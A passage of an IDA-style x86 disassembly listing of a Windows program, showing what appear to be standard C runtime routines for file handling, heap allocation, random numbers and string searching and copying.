loc_40352B:				; CODE XREF: sub_4034F0+1Dj
		xor	eax, eax
		mov	esi, [ebp+arg_4]
		cmp	esi, ebx
		setnz	al
		cmp	eax, ebx
		jz	short loc_40350F
		xor	eax, eax
		cmp	[esi], bl
		setnz	al
		cmp	eax, ebx
		jz	short loc_40350F
		call	sub_408851
		mov	[ebp+arg_0], eax
		cmp	eax, ebx
		jnz	short loc_40355D
		call	sub_405B83
		mov	dword ptr [eax], 18h
		jmp	short loc_403527
; ---------------------------------------------------------------------------

loc_40355D:				; CODE XREF: sub_4034F0+5Ej
		mov	[ebp+ms_exc.disabled], ebx
		cmp	[edi], bl
		jnz	short loc_403584
		call	sub_405B83
		mov	dword ptr [eax], 16h
		push	0FFFFFFFEh
		lea	eax, [ebp+ms_exc.prev_er]
		push	eax
		push	offset dword_423064
		call	sub_408978
		add	esp, 0Ch
		jmp	short loc_403527
; ---------------------------------------------------------------------------

loc_403584:				; CODE XREF: sub_4034F0+72j
		push	eax
		push	[ebp+arg_8]
		push	esi
		push	edi
		call	sub_4085AF
		add	esp, 10h
		mov	[ebp+var_1C], eax
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_4035AA
		mov	eax, [ebp+var_1C]

loc_4035A4:				; CODE XREF: sub_4034F0+39j
		call	__SEH_epilog4
		retn
sub_4034F0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4035AA	proc near		; CODE XREF: sub_4034F0+ACp
					; DATA XREF: c.7ld2ih:00421670o
		push	dword ptr [ebp+8]
		call	sub_40855D
		pop	ecx
		retn
sub_4035AA	endp


; =============== S U B	R O U T	I N E =======================================



sub_4035B4	proc near		; CODE XREF: sub_4198AD+116p
					; sub_41B981+4Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	40h
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_4034F0
		add	esp, 0Ch
		retn
sub_4035B4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4035C7	proc near		; CODE XREF: sub_4198AD+131p

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	0Ch
		push	offset dword_421678
		call	__SEH_prolog4
		xor	ebx, ebx
		mov	[ebp+var_1C], ebx
		xor	eax, eax
		mov	esi, [ebp+arg_0]
		cmp	esi, ebx
		setnz	al
		cmp	eax, ebx
		jnz	short loc_403606

loc_4035E6:				; CODE XREF: sub_4035C7+49j
		call	sub_405B83
		mov	dword ptr [eax], 16h
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		call	sub_4032F9
		add	esp, 14h
		or	eax, 0FFFFFFFFh
		jmp	loc_403706
; ---------------------------------------------------------------------------

loc_403606:				; CODE XREF: sub_4035C7+1Dj
		xor	eax, eax
		cmp	[ebp+arg_4], ebx
		setnz	al
		cmp	eax, ebx
		jz	short loc_4035E6
		mov	[ebp+arg_0], esi
		push	esi
		call	sub_40850B
		pop	ecx
		mov	[ebp+ms_exc.disabled], ebx
		test	byte ptr [esi+0Ch], 40h
		jnz	loc_4036CF
		push	esi
		call	sub_408DD0
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		jz	short loc_403663
		push	esi
		call	sub_408DD0
		pop	ecx
		cmp	eax, 0FFFFFFFEh
		jz	short loc_403663
		push	esi
		call	sub_408DD0
		sar	eax, 5
		lea	edi, ds:435700h[eax*4]
		push	esi
		call	sub_408DD0
		pop	ecx
		pop	ecx
		and	eax, 1Fh
		imul	eax, 28h
		add	eax, [edi]
		jmp	short loc_403668
; ---------------------------------------------------------------------------

loc_403663:				; CODE XREF: sub_4035C7+6Cj
					; sub_4035C7+78j
		mov	eax, offset dword_423BD0

loc_403668:				; CODE XREF: sub_4035C7+9Aj
		test	byte ptr [eax+24h], 7Fh
		jnz	short loc_4036B3
		push	esi
		call	sub_408DD0
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4036A8
		push	esi
		call	sub_408DD0
		pop	ecx
		cmp	eax, 0FFFFFFFEh
		jz	short loc_4036A8
		push	esi
		call	sub_408DD0
		sar	eax, 5
		lea	edi, ds:435700h[eax*4]
		push	esi
		call	sub_408DD0
		pop	ecx
		pop	ecx
		and	eax, 1Fh
		imul	eax, 28h
		add	eax, [edi]
		jmp	short loc_4036AD
; ---------------------------------------------------------------------------

loc_4036A8:				; CODE XREF: sub_4035C7+B1j
					; sub_4035C7+BDj
		mov	eax, offset dword_423BD0

loc_4036AD:				; CODE XREF: sub_4035C7+DFj
		test	byte ptr [eax+24h], 80h
		jz	short loc_4036CF

loc_4036B3:				; CODE XREF: sub_4035C7+A5j
		call	sub_405B83
		mov	dword ptr [eax], 16h
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		call	sub_4032F9
		add	esp, 14h
		or	[ebp+var_1C], 0FFFFFFFFh

loc_4036CF:				; CODE XREF: sub_4035C7+5Cj
					; sub_4035C7+EAj
		cmp	[ebp+var_1C], ebx
		jnz	short loc_4036F7
		push	esi
		call	sub_408ACB
		mov	edi, eax
		lea	eax, [ebp+arg_8]
		push	eax
		push	ebx
		push	[ebp+arg_4]
		push	esi
		call	sub_406D87
		mov	[ebp+var_1C], eax
		push	esi
		push	edi
		call	sub_408B61
		add	esp, 1Ch

loc_4036F7:				; CODE XREF: sub_4035C7+10Bj
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_40370C
		mov	eax, [ebp+var_1C]

loc_403706:				; CODE XREF: sub_4035C7+3Aj
		call	__SEH_epilog4
		retn
sub_4035C7	endp


; =============== S U B	R O U T	I N E =======================================



sub_40370C	proc near		; CODE XREF: sub_4035C7+137p
					; DATA XREF: c.7ld2ih:00421690o
		push	dword ptr [ebp+8]
		call	sub_40855D
		pop	ecx
		retn
sub_40370C	endp


; =============== S U B	R O U T	I N E =======================================



sub_403716	proc near		; CODE XREF: sub_417C7B+4Fp
					; sub_41AFA7+20Fp

arg_0		= dword	ptr  4

		call	sub_40574D
		mov	ecx, [esp+arg_0]
		mov	[eax+14h], ecx
		retn
sub_403716	endp


; =============== S U B	R O U T	I N E =======================================



sub_403723	proc near		; CODE XREF: sub_417C7B:loc_417DF7p
					; sub_4198AD+A7p ...
		call	sub_40574D
		mov	ecx, [eax+14h]
		imul	ecx, 343FDh
		add	ecx, 269EC3h
		mov	[eax+14h], ecx
		mov	eax, ecx
		shr	eax, 10h
		and	eax, 7FFFh
		retn
sub_403723	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403745	proc near		; CODE XREF: sub_4037F6+12p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_8], ebx
		jnz	short loc_403773
		call	sub_405B83
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		mov	dword ptr [eax], 16h
		call	sub_4032F9
		add	esp, 14h
		or	eax, 0FFFFFFFFh
		jmp	loc_4037F3
; ---------------------------------------------------------------------------

loc_403773:				; CODE XREF: sub_403745+Cj
		mov	ecx, [ebp+arg_4]
		cmp	ecx, ebx
		push	esi
		mov	esi, [ebp+arg_0]
		jz	short loc_40379F
		cmp	esi, ebx
		jnz	short loc_40379F
		call	sub_405B83
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		mov	dword ptr [eax], 16h
		call	sub_4032F9
		add	esp, 14h
		or	eax, 0FFFFFFFFh
		jmp	short loc_4037F2
; ---------------------------------------------------------------------------

loc_40379F:				; CODE XREF: sub_403745+37j
					; sub_403745+3Bj
		mov	eax, 7FFFFFFFh
		cmp	ecx, eax
		mov	[ebp+var_1C], eax
		ja	short loc_4037AE
		mov	[ebp+var_1C], ecx

loc_4037AE:				; CODE XREF: sub_403745+64j
		push	edi
		push	[ebp+arg_10]
		lea	eax, [ebp+var_20]
		push	[ebp+arg_C]
		mov	[ebp+var_14], 42h
		push	[ebp+arg_8]
		mov	[ebp+var_18], esi
		push	eax
		mov	[ebp+var_20], esi
		call	sub_406D87
		add	esp, 10h
		cmp	esi, ebx
		mov	edi, eax
		jz	short loc_4037F1
		dec	[ebp+var_1C]
		js	short loc_4037E3
		mov	eax, [ebp+var_20]
		mov	[eax], bl
		jmp	short loc_4037EF
; ---------------------------------------------------------------------------

loc_4037E3:				; CODE XREF: sub_403745+95j
		lea	eax, [ebp+var_20]
		push	eax
		push	ebx
		call	sub_406B86
		pop	ecx
		pop	ecx

loc_4037EF:				; CODE XREF: sub_403745+9Cj
		mov	eax, edi

loc_4037F1:				; CODE XREF: sub_403745+90j
		pop	edi

loc_4037F2:				; CODE XREF: sub_403745+58j
		pop	esi

loc_4037F3:				; CODE XREF: sub_403745+29j
		pop	ebx
		leave
		retn
sub_403745	endp


; =============== S U B	R O U T	I N E =======================================



sub_4037F6	proc near		; CODE XREF: sub_417ABC+3Ep
					; sub_417B51+7Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	[esp+arg_C]
		push	0
		push	[esp+8+arg_8]
		push	[esp+0Ch+arg_4]
		push	[esp+10h+arg_0]
		call	sub_403745
		add	esp, 14h
		retn
sub_4037F6	endp


; =============== S U B	R O U T	I N E =======================================



sub_403811	proc near		; CODE XREF: sub_403884+5Ap

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		xor	edi, edi
		or	ebx, 0FFFFFFFFh
		cmp	esi, edi
		jnz	short loc_40383E
		call	sub_405B83
		push	edi
		push	edi
		push	edi
		push	edi
		push	edi
		mov	dword ptr [eax], 16h
		call	sub_4032F9
		add	esp, 14h
		or	eax, 0FFFFFFFFh
		jmp	short loc_403880
; ---------------------------------------------------------------------------

loc_40383E:				; CODE XREF: sub_403811+Ej
		test	byte ptr [esi+0Ch], 83h
		jz	short loc_40387B
		push	esi
		call	sub_408F8A
		push	esi
		mov	ebx, eax
		call	sub_408F5E
		push	esi
		call	sub_408DD0
		push	eax
		call	sub_408E91
		add	esp, 10h
		test	eax, eax
		jge	short loc_40386A
		or	ebx, 0FFFFFFFFh
		jmp	short loc_40387B
; ---------------------------------------------------------------------------

loc_40386A:				; CODE XREF: sub_403811+52j
		mov	eax, [esi+1Ch]
		cmp	eax, edi
		jz	short loc_40387B
		push	eax
		call	sub_4039C3
		pop	ecx
		mov	[esi+1Ch], edi

loc_40387B:				; CODE XREF: sub_403811+31j
					; sub_403811+57j ...
		mov	[esi+0Ch], edi
		mov	eax, ebx

loc_403880:				; CODE XREF: sub_403811+2Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_403811	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403884	proc near		; CODE XREF: sub_40E383+43p
					; sub_4198AD+137p ...

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

		push	0Ch
		push	offset dword_421698
		call	__SEH_prolog4
		or	[ebp+var_1C], 0FFFFFFFFh
		xor	eax, eax
		mov	esi, [ebp+arg_0]
		xor	edi, edi
		cmp	esi, edi
		setnz	al
		cmp	eax, edi
		jnz	short loc_4038C1
		call	sub_405B83
		mov	dword ptr [eax], 16h
		push	edi
		push	edi
		push	edi
		push	edi
		push	edi
		call	sub_4032F9
		add	esp, 14h
		or	eax, 0FFFFFFFFh
		jmp	short loc_4038CD
; ---------------------------------------------------------------------------

loc_4038C1:				; CODE XREF: sub_403884+1Ej
		test	byte ptr [esi+0Ch], 40h
		jz	short loc_4038D3
		mov	[esi+0Ch], edi

loc_4038CA:				; CODE XREF: sub_403884+6Fj
		mov	eax, [ebp+var_1C]

loc_4038CD:				; CODE XREF: sub_403884+3Bj
		call	__SEH_epilog4
		retn
; ---------------------------------------------------------------------------

loc_4038D3:				; CODE XREF: sub_403884+41j
		push	esi
		call	sub_40850B
		pop	ecx
		mov	[ebp+ms_exc.disabled], edi
		push	esi
		call	sub_403811
		pop	ecx
		mov	[ebp+var_1C], eax
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_4038F8
		jmp	short loc_4038CA
sub_403884	endp


; =============== S U B	R O U T	I N E =======================================



sub_4038F5	proc near		; DATA XREF: c.7ld2ih:004216B0o
		mov	esi, [ebp+8]
sub_4038F5	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4038F8	proc near		; CODE XREF: sub_403884+6Ap
		push	esi
		call	sub_40855D
		pop	ecx
		retn
sub_4038F8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403900	proc near		; CODE XREF: .text:00419AB0p
					; sub_419AEB+13p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		lea	eax, [ebp+var_8]
		push	eax
		call	ds:off_41D1A0
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		push	0
		add	eax, 2AC18000h
		push	989680h
		adc	ecx, 0FE624E21h
		push	ecx
		push	eax
		call	sub_409120
		mov	ecx, [ebp+arg_0]
		test	ecx, ecx
		jz	short locret_40393A
		mov	[ecx], eax
		mov	[ecx+4], edx

locret_40393A:				; CODE XREF: sub_403900+33j
		leave
		retn
sub_403900	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40393C	proc near		; CODE XREF: sub_4039A4+15p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	edi
		push	esi
		call	sub_4044E0
		xor	edi, edi
		cmp	esi, edi
		pop	ecx
		jnz	short loc_40396D

loc_403950:				; CODE XREF: sub_40393C+34j
		call	sub_405B83
		push	edi
		push	edi
		push	edi
		push	edi
		push	edi
		mov	dword ptr [eax], 16h
		call	sub_4032F9
		add	esp, 14h
		or	eax, 0FFFFFFFFh
		jmp	short loc_4039A1
; ---------------------------------------------------------------------------

loc_40396D:				; CODE XREF: sub_40393C+12j
		cmp	[ebp+arg_4], edi
		jz	short loc_403950
		mov	ecx, 7FFFFFFFh
		cmp	eax, ecx
		mov	[ebp+var_14], 49h
		mov	[ebp+var_18], esi
		mov	[ebp+var_20], esi
		mov	[ebp+var_1C], ecx
		ja	short loc_40398E
		mov	[ebp+var_1C], eax

loc_40398E:				; CODE XREF: sub_40393C+4Dj
		push	[ebp+arg_C]
		lea	eax, [ebp+var_20]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	[ebp+arg_0]
		add	esp, 10h

loc_4039A1:				; CODE XREF: sub_40393C+2Fj
		pop	edi
		leave
		retn
sub_40393C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4039A4	proc near		; CODE XREF: sub_4022D6+22Ep
					; sub_4022D6+36Bp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_0]
		lea	eax, [esp+4+arg_8]
		push	eax
		push	0
		push	[esp+0Ch+arg_4]
		push	offset sub_409217
		call	sub_40393C
		add	esp, 10h
		pop	esi
		retn
sub_4039A4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4039C3	proc near		; CODE XREF: sub_40308A+Fp sub_40332Dj ...

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 00403A22 SIZE 0000002F BYTES

		push	0Ch
		push	offset dword_4216B8
		call	__SEH_prolog4
		mov	esi, [ebp+arg_0]
		test	esi, esi
		jz	short loc_403A4B
		cmp	dword_436854, 3
		jnz	short loc_403A22
		push	4
		call	sub_405DA7
		pop	ecx
		and	[ebp+ms_exc.disabled], 0
		push	esi
		call	sub_405ED5
		pop	ecx
		mov	[ebp+var_1C], eax
		test	eax, eax
		jz	short loc_403A02
		push	esi
		push	eax
		call	sub_405F00
		pop	ecx
		pop	ecx

loc_403A02:				; CODE XREF: sub_4039C3+34j
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_403A19
		cmp	[ebp+var_1C], 0
		jnz	short loc_403A4B
		push	[ebp+arg_0]
		jmp	short loc_403A23
sub_4039C3	endp


; =============== S U B	R O U T	I N E =======================================



sub_403A19	proc near		; CODE XREF: sub_4039C3+46p
					; DATA XREF: c.7ld2ih:004216D0o
		push	4
		call	sub_405CCF
		pop	ecx
		retn
sub_403A19	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4039C3

loc_403A22:				; CODE XREF: sub_4039C3+1Aj
		push	esi

loc_403A23:				; CODE XREF: sub_4039C3+54j
		push	0
		push	dword_4279A8
		call	ds:dword_41D108	; RtlFreeHeap
		test	eax, eax
		jnz	short loc_403A4B
		call	sub_405B83
		mov	esi, eax
		call	ds:dword_41D0EC	; RtlGetLastWin32Error
		push	eax
		call	sub_405B48
		mov	[esi], eax
		pop	ecx

loc_403A4B:				; CODE XREF: sub_4039C3+11j
					; sub_4039C3+4Fj ...
		call	__SEH_epilog4
		retn
; END OF FUNCTION CHUNK	FOR sub_4039C3

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403A51	proc near		; CODE XREF: sub_403AA0+59p

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

		push	0Ch
		push	offset dword_4216D8
		call	__SEH_prolog4
		and	[ebp+var_1C], 0
		mov	esi, [ebp+arg_0]
		cmp	esi, dword_436844
		ja	short loc_403A8E
		push	4
		call	sub_405DA7
		pop	ecx
		and	[ebp+ms_exc.disabled], 0
		push	esi
		call	sub_4066A9
		pop	ecx
		mov	[ebp+var_1C], eax
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_403A97

loc_403A8E:				; CODE XREF: sub_403A51+19j
		mov	eax, [ebp+var_1C]
		call	__SEH_epilog4
		retn
sub_403A51	endp


; =============== S U B	R O U T	I N E =======================================



sub_403A97	proc near		; CODE XREF: sub_403A51+38p
					; DATA XREF: c.7ld2ih:004216F0o
		push	4
		call	sub_405CCF
		pop	ecx
		retn
sub_403A97	endp


; =============== S U B	R O U T	I N E =======================================



sub_403AA0	proc near		; CODE XREF: sub_402FCC+1Fp
					; sub_403032+2Ap ...

arg_0		= dword	ptr  4

		push	ebp
		mov	ebp, [esp+4+arg_0]
		cmp	ebp, 0FFFFFFE0h
		ja	loc_403B4D
		push	ebx
		mov	ebx, ds:dword_41D110
		push	esi
		push	edi

loc_403AB7:				; CODE XREF: sub_403AA0+94j
		xor	esi, esi
		cmp	dword_4279A8, esi
		mov	edi, ebp
		jnz	short loc_403ADB
		call	sub_40A004
		push	1Eh
		call	sub_409E64
		push	0FFh
		call	sub_407C57
		pop	ecx
		pop	ecx

loc_403ADB:				; CODE XREF: sub_403AA0+21j
		mov	eax, dword_436854
		cmp	eax, 1
		jnz	short loc_403AF3
		cmp	ebp, esi
		jz	short loc_403AED
		mov	eax, ebp
		jmp	short loc_403AF0
; ---------------------------------------------------------------------------

loc_403AED:				; CODE XREF: sub_403AA0+47j
		xor	eax, eax
		inc	eax

loc_403AF0:				; CODE XREF: sub_403AA0+4Bj
		push	eax
		jmp	short loc_403B11
; ---------------------------------------------------------------------------

loc_403AF3:				; CODE XREF: sub_403AA0+43j
		cmp	eax, 3
		jnz	short loc_403B03
		push	ebp
		call	sub_403A51
		cmp	eax, esi
		pop	ecx
		jnz	short loc_403B1A

loc_403B03:				; CODE XREF: sub_403AA0+56j
		cmp	ebp, esi
		jnz	short loc_403B0A
		xor	edi, edi
		inc	edi

loc_403B0A:				; CODE XREF: sub_403AA0+65j
		add	edi, 0Fh
		and	edi, 0FFFFFFF0h
		push	edi

loc_403B11:				; CODE XREF: sub_403AA0+51j
		push	esi
		push	dword_4279A8
		call	ebx	; RtlAllocateHeap

loc_403B1A:				; CODE XREF: sub_403AA0+61j
		mov	esi, eax
		test	esi, esi
		jnz	short loc_403B46
		cmp	dword_427D2C, eax
		push	0Ch
		pop	edi
		jz	short loc_403B38
		push	ebp
		call	sub_408412
		test	eax, eax
		pop	ecx
		jnz	short loc_403AB7
		jmp	short loc_403B3F
; ---------------------------------------------------------------------------

loc_403B38:				; CODE XREF: sub_403AA0+89j
		call	sub_405B83
		mov	[eax], edi

loc_403B3F:				; CODE XREF: sub_403AA0+96j
		call	sub_405B83
		mov	[eax], edi

loc_403B46:				; CODE XREF: sub_403AA0+7Ej
		pop	edi
		mov	eax, esi
		pop	esi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_403B4D:				; CODE XREF: sub_403AA0+8j
		push	ebp
		call	sub_408412
		pop	ecx
		call	sub_405B83
		mov	dword ptr [eax], 0Ch
		xor	eax, eax
		pop	ebp
		retn
sub_403AA0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_403B70	proc near		; CODE XREF: sub_41802D+84p
					; sub_418CAF+1Bp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	edi
		push	ebx
		push	esi
		mov	dl, [ecx]
		mov	edi, [esp+0Ch+arg_0]
		test	dl, dl
		jz	short loc_403BF0
		mov	dh, [ecx+1]
		test	dh, dh
		jz	short loc_403BDD

loc_403B88:				; CODE XREF: sub_403B70+58j
					; sub_403B70+6Bj
		mov	esi, edi
		mov	ecx, [esp+0Ch+arg_4]
		mov	al, [edi]
		add	esi, 1
		cmp	al, dl
		jz	short loc_403BAE
		test	al, al
		jz	short loc_403BA8

loc_403B9B:				; CODE XREF: sub_403B70+36j
		mov	al, [esi]
		add	esi, 1

loc_403BA0:				; CODE XREF: sub_403B70+45j
		cmp	al, dl
		jz	short loc_403BAE
		test	al, al
		jnz	short loc_403B9B

loc_403BA8:				; CODE XREF: sub_403B70+29j
		pop	esi
		pop	ebx
		pop	edi
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_403BAE:				; CODE XREF: sub_403B70+25j
					; sub_403B70+32j
		mov	al, [esi]
		add	esi, 1
		cmp	al, dh
		jnz	short loc_403BA0
		lea	edi, [esi-1]

loc_403BBA:				; CODE XREF: sub_403B70+69j
		mov	ah, [ecx+2]
		test	ah, ah
		jz	short loc_403BE9
		mov	al, [esi]
		add	esi, 2
		cmp	al, ah
		jnz	short loc_403B88
		mov	al, [ecx+3]
		test	al, al
		jz	short loc_403BE9
		mov	ah, [esi-1]
		add	ecx, 2
		cmp	al, ah
		jz	short loc_403BBA
		jmp	short loc_403B88
; ---------------------------------------------------------------------------

loc_403BDD:				; CODE XREF: sub_403B70+16j
		xor	eax, eax
		pop	esi
		pop	ebx
		pop	edi
		mov	al, dl
		jmp	loc_403C16
; ---------------------------------------------------------------------------

loc_403BE9:				; CODE XREF: sub_403B70+4Fj
					; sub_403B70+5Fj
		lea	eax, [edi-1]
		pop	esi
		pop	ebx
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_403BF0:				; CODE XREF: sub_403B70+Fj
		mov	eax, edi
		pop	esi
		pop	ebx
		pop	edi
		retn
sub_403B70	endp

; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_403C10

loc_403C00:				; CODE XREF: sub_403C10+1Fj
		lea	eax, [edx-1]
		pop	ebx
		retn
; END OF FUNCTION CHUNK	FOR sub_403C10
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_403C10	proc near		; CODE XREF: sub_418B6F+Bp
					; sub_418B86+35p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

; FUNCTION CHUNK AT 00403C00 SIZE 00000005 BYTES

		xor	eax, eax
		mov	al, [esp+arg_4]

loc_403C16:				; CODE XREF: sub_403B70+74j
		push	ebx
		mov	ebx, eax
		shl	eax, 8
		mov	edx, [esp+4+arg_0]
		test	edx, 3
		jz	short loc_403C3D

loc_403C28:				; CODE XREF: sub_403C10+2Bj
		mov	cl, [edx]
		add	edx, 1
		cmp	cl, bl
		jz	short loc_403C00
		test	cl, cl
		jz	short loc_403C86
		test	edx, 3
		jnz	short loc_403C28

loc_403C3D:				; CODE XREF: sub_403C10+16j
		or	ebx, eax
		push	edi
		mov	eax, ebx
		shl	ebx, 10h
		push	esi
		or	ebx, eax

loc_403C48:				; CODE XREF: sub_403C10+63j
					; sub_403C10+72j ...
		mov	ecx, [edx]
		mov	edi, 7EFEFEFFh
		mov	eax, ecx
		mov	esi, edi
		xor	ecx, ebx
		add	esi, eax
		add	edi, ecx
		xor	ecx, 0FFFFFFFFh
		xor	eax, 0FFFFFFFFh
		xor	ecx, edi
		xor	eax, esi
		add	edx, 4
		and	ecx, 81010100h
		jnz	short loc_403C8A
		and	eax, 81010100h
		jz	short loc_403C48
		and	eax, 1010100h
		jnz	short loc_403C84
		and	esi, 80000000h
		jnz	short loc_403C48

loc_403C84:				; CODE XREF: sub_403C10+6Aj
					; sub_403C10+83j ...
		pop	esi
		pop	edi

loc_403C86:				; CODE XREF: sub_403C10+23j
		pop	ebx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_403C8A:				; CODE XREF: sub_403C10+5Cj
		mov	eax, [edx-4]
		cmp	al, bl
		jz	short loc_403CC7
		test	al, al
		jz	short loc_403C84
		cmp	ah, bl
		jz	short loc_403CC0
		test	ah, ah
		jz	short loc_403C84
		shr	eax, 10h
		cmp	al, bl
		jz	short loc_403CB9
		test	al, al
		jz	short loc_403C84
		cmp	ah, bl
		jz	short loc_403CB2
		test	ah, ah
		jz	short loc_403C84
		jmp	short loc_403C48
; ---------------------------------------------------------------------------

loc_403CB2:				; CODE XREF: sub_403C10+9Aj
		pop	esi
		pop	edi
		lea	eax, [edx-1]
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_403CB9:				; CODE XREF: sub_403C10+92j
		lea	eax, [edx-2]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_403CC0:				; CODE XREF: sub_403C10+87j
		lea	eax, [edx-3]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_403CC7:				; CODE XREF: sub_403C10+7Fj
		lea	eax, [edx-4]
		pop	esi
		pop	edi
		pop	ebx
		retn
sub_403C10	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_403CD0	proc near		; CODE XREF: sub_417E66+104p
					; sub_41802D+D9p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	loc_403D6F
		push	esi
		push	ebx
		mov	ebx, ecx
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		mov	edi, [esp+0Ch+arg_0]
		jnz	short loc_403CFC
		shr	ecx, 2
		jnz	loc_403D7F
		jmp	short loc_403D23
; ---------------------------------------------------------------------------

loc_403CFC:				; CODE XREF: sub_403CD0+1Fj
					; sub_403CD0+45j
		mov	al, [esi]
		add	esi, 1
		mov	[edi], al
		add	edi, 1
		sub	ecx, 1
		jz	short loc_403D36
		test	al, al
		jz	short loc_403D3E
		test	esi, 3
		jnz	short loc_403CFC
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_403D7F

loc_403D1E:				; CODE XREF: sub_403CD0+ADj
		and	ebx, 3
		jz	short loc_403D36

loc_403D23:				; CODE XREF: sub_403CD0+2Aj
					; sub_403CD0+64j
		mov	al, [esi]
		add	esi, 1
		mov	[edi], al
		add	edi, 1
		test	al, al
		jz	short loc_403D68
		sub	ebx, 1
		jnz	short loc_403D23

loc_403D36:				; CODE XREF: sub_403CD0+39j
					; sub_403CD0+51j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_403D3E:				; CODE XREF: sub_403CD0+3Dj
		test	edi, 3
		jz	short loc_403D5C

loc_403D46:				; CODE XREF: sub_403CD0+8Aj
		mov	[edi], al
		add	edi, 1
		sub	ecx, 1
		jz	loc_403DEC
		test	edi, 3
		jnz	short loc_403D46

loc_403D5C:				; CODE XREF: sub_403CD0+74j
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_403DD7

loc_403D63:				; CODE XREF: sub_403CD0+9Bj
					; sub_403CD0+116j
		mov	[edi], al
		add	edi, 1

loc_403D68:				; CODE XREF: sub_403CD0+5Fj
		sub	ebx, 1
		jnz	short loc_403D63
		pop	ebx
		pop	esi

loc_403D6F:				; CODE XREF: sub_403CD0+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_403D75:				; CODE XREF: sub_403CD0+C7j
					; sub_403CD0+DFj
		mov	[edi], edx
		add	edi, 4
		sub	ecx, 1
		jz	short loc_403D1E

loc_403D7F:				; CODE XREF: sub_403CD0+24j
					; sub_403CD0+4Cj
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
